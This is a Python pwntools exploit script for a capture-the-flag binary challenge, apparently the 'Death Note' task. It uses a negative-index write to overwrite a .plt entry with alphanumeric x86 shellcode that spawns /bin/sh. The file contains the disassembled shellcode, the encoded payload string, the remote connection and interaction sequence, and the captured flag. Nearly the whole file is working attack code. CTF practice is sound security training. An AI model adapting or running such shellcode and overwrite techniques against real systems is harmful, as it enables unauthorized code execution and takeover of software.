#!/usr/bin/env python 


from pwn import *


# index can be negtive
# so we can cover the value in .plt
# choose free so that the add of heap will push in the stack, and we can get the add of heap



"""
0:  59                      pop    ecx
1:  59                      pop    ecx = add of heap (push by free before here
2:  6a 56                   push   0x56
4:  58                      pop    eax
5:  34 56                   xor    al,0x56
7:  50                      push   eax
8:  5a                      pop    edx  ( edx = 0x0
9:  48                      dec    eax
a:  66 35 7d 30             xor    ax,0x307d
e:  66 31 44 51 37          xor    WORD PTR [ecx+edx*2+0x37],ax  ( patch inx 0x80 in the run time
13: 52                      push   edx
14: 6a 56                   push   0x56
16: 58                      pop    eax
17: 35 79 2f 73 68          xor    eax,0x68732f79
1c: 50                      push   eax
1d: 6a 56                   push   0x56
1f: 58                      pop    eax
20: 35 79 62 69 6e          xor    eax,0x6e696279
25: 50                      push   eax
26: 54                      push   esp
27: 5b                      pop    ebx ( ebx = add of "/bin/sh"
28: 35 24 62 69 6e          xor    eax,0x6e696224 ( eax = 0xb
2d: 52                      push   edx
2e: 59                      pop    ecx ( ecx = 0x0

"""
shellcode = "YYjVX4VPZHf5}0f1DQ7RjVX5y/shPjVX5ybinPT[5$binRYOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO"

r = remote('192.168.31.25',12030)
r.sendlineafter(':', '1')
r.sendlineafter(':', '-19')
r.sendlineafter(':', shellcode)
r.sendlineafter(':', '3')
r.sendlineafter(':', '-19')
r.interactive()


#AD{y0U_pr0vED_y0URSElF_7hE_0Wner_0F_7HE_DEa7Hn07E}
